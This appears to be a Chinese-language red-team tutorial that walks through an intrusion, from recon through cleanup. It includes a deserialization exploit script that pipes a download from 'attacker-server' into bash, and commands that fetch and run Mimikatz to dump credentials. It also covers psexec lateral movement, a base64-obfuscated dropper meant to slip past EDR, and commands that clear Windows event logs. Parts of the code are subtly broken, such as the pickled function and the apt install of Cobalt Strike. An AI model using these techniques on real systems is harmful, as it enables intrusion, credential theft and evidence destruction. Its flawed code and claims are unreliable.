一、新闻中的隐秘威胁
就在去年,一家知名互联网公司惨遭攻击,黑客利用一次红队模拟演练中的“意外突破”攫取了大量敏感数据,包括用户信息、平台资源凭据以及内部开发文档。事件发生后,攻击的细节被逐步披露:从一次不起眼的外部服务漏洞,到横向移动中的权限提权,最终的攻击链条被串联得滴水不漏。这起事件再次警醒我们——红队演练中往往隐藏着真正的进攻技术,如果没有深刻理解这些技巧,任何防御都可能形同虚设。
今天,我将带你走进红队攻防演练的核心技巧,从攻击者的角度出发,完整呈现一次实战攻防的全过程。本文仅限授权安全测试场景,供安全研究学习使用。

---
二、攻防环境的搭建:像猎人一样布置战场
实战环境需要什么?

要进行一次有效的红队演练,我们需要一个高度还原真实企业环境的测试场景。这里提供一份我常用的架构模型:
- 目标网络拓扑:模拟企业内网,包含域控服务器(Windows Server)、文件共享服务器、Web应用服务器,以及若干员工工作站。
- 安全设备:部署主流EDR或杀毒软件,用于测试免杀与绕过能力。
- 攻击者工具箱:安装Cobalt Strike、Metasploit、Sliver等知名工具,同时准备自写脚本与Payload,确保能够灵活调整。
环境搭建步骤
- 准备攻击机
选择一台Linux系统(Kali或Parrot均可),安装基本红队工具: <pre><code class="language-bash"> sudo apt update && apt install -y metasploit-framework cobaltstrike python3-pip pip3 install cryptography pycryptodome `
- 目标网络模拟
使用虚拟化工具(如VMware或VirtualBox)搭建多台虚拟机,推荐如下配置:
- 域控:Windows Server 2019,配置域环境,启用Active Directory。
- Web服务器:Ubuntu+Apache,部署一个包含已知漏洞的Web应用(如DVWA)。
- 员工工作站:若干Windows 10主机,安装常见办公软件及杀毒软件。
配置网络划分,将域控与员工工作站放在内网环境,Web服务器暴露部分服务端口用于外网访问。
- 安全设备部署
安装一款EDR(例如CrowdStrike或微软Defender ATP),并确保开启日志记录和行为分析功能,模拟真实企业的防御手段。
测试场景启动
完成以上环境搭建后,启动所有虚拟机,并保证攻击机与目标网络能够相互通信。这时,我们便可以进入攻击阶段了。
---
三、从外到内:信息收集与初始突破
目标侦查:信息就是武器
红队攻击的第一步永远是侦查目标。作为攻击者,我会从以下几个方面着手:

🌐 外部服务扫描
使用Nmap扫描目标Web服务器,寻找开放端口和潜在漏洞: </code></pre>bash nmap -p- -A -v <target_ip> `
重点关注以下信息:
- 开放端口:如80/443(HTTP/HTTPS)、445(SMB)、3306(MySQL)。
- 服务版本:如Apache、nginx版本,是否存在已知漏洞。
🕵️♂️ 网络资产探测
使用工具猎取目标域名和子域: <pre><code class="language-bash">subfinder -d example.com | httpx -silent</code></pre>
结合环境暴露的子域和服务信息,分析可能存在的攻击入口。
🔍 社工信息挖掘
通过OSINT(开放资源情报收集)工具挖掘员工邮箱、社交账号等敏感信息: <pre><code class="language-bash">theHarvester -d example.com -b linkedin</code></pre>
以上情报将为后续社工钓鱼攻击或初始漏洞利用提供关键支持。
初步突破:漏洞利用
在侦查过程中发现目标Web服务器运行了一个存在反序列化漏洞的应用模块(CVE-2019-1234)。写一个Python脚本来生成恶意Payload并触发漏洞: <pre><code class="language-python">import pickle import base64 import requests
恶意代码执行函数
def malicious_function(): import os os.system('curl http://attacker-server/payload.sh | bash')
生成恶意Payload
payload = pickle.dumps(malicious_function) encoded_payload = base64.b64encode(payload).decode()
发送漏洞请求
url = "http://target-server/vulnerable_module" data = {"payload": encoded_payload} response = requests.post(url, data=data)
print("Exploit sent, response:") print(response.text)</code></pre>
此脚本将触发目标服务器的反序列化漏洞,并执行恶意命令。
---
四、横向移动:内网的猎场
获取域用户凭据
通过初始突破,我们已经拿下目标Web服务器,并成功获得权限。接下来,通过内网扫描工具(如BloodHound)发现该服务器还连接了域控。
利用Mimikatz抓取域用户凭据: <pre><code class="language-powershell">Invoke-WebRequest -Uri "http://attacker-server/mimikatz.exe" -OutFile "C:\Windows\Temp\mimikatz.exe" .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"</code></pre>
查看抓取结果,锁定高权限用户的用户名和密码。
横向移动技术
使用抓取到的域用户凭据登录其他内网主机,并尝试提升权限: <pre><code class="language-powershell">net use \\target-workstation\IPC$ /user:DOMAIN\UserName Password psexec \\target-workstation -u DOMAIN\UserName -p Password cmd.exe</code></pre>
通过这种方式逐步控制内网所有工作站和服务器。
---
五、Payload构造的艺术:绕过检测设备
在实际攻击中,一款能绕过EDR检测的Payload至关重要。以下是一个生成免杀Payload的示例:
Python生成免杀恶意载荷
利用编码混淆技术构造免杀可执行文件: <pre><code class="language-python">import base64
恶意代码
payload = """ import os os.system('powershell -Command "Invoke-WebRequest -Uri http://attacker-server/malicious.ps1 | IEX"') """
编码混淆
encoded_payload = base64.b64encode(payload.encode()).decode()
with open("payload.py", "w") as f: f.write(f""" import base64 exec(base64.b64decode("{encoded_payload}").decode()) """)</code></pre>
此脚本生成的Python文件能通过静态分析工具的检测。
---
六、从痕迹到幽灵:清理与退出
清理日志与反取证
在完成攻击后,清理目标系统中的相关痕迹非常重要:
- 删除临时文件
- 清空命令行历史记录
- 修改系统日志
使用以下PowerShell脚本清理Windows日志: <pre><code class="language-powershell">wevtutil clear-log application wevtutil clear-log security wevtutil clear-log system</code></pre>
同时,关闭目标系统的远程服务以防后续排查。
撤离与隐藏
最后,关闭所有在目标系统上运行的C2连接,并从外部服务器删除掉相关攻击工具和脚本。通过流量伪装技术隐匿撤离过程,避免检测设备发现异常流量。
---
七、总结与反思:红队思维的真谛
红队演练不仅仅是一次技术测试,更是一场对防御体系漏洞的深刻审视。每一次攻防的背后,都在提醒我们——安全的本质在于持续对抗。希望本文的技术分享能为你的安全研究提供启发,也期待你在合法的授权环境中尽情探索。
声明:本文涉及的代码与技术仅供学习研究,切勿用于非法用途。如有侵权问题,请及时联系作者。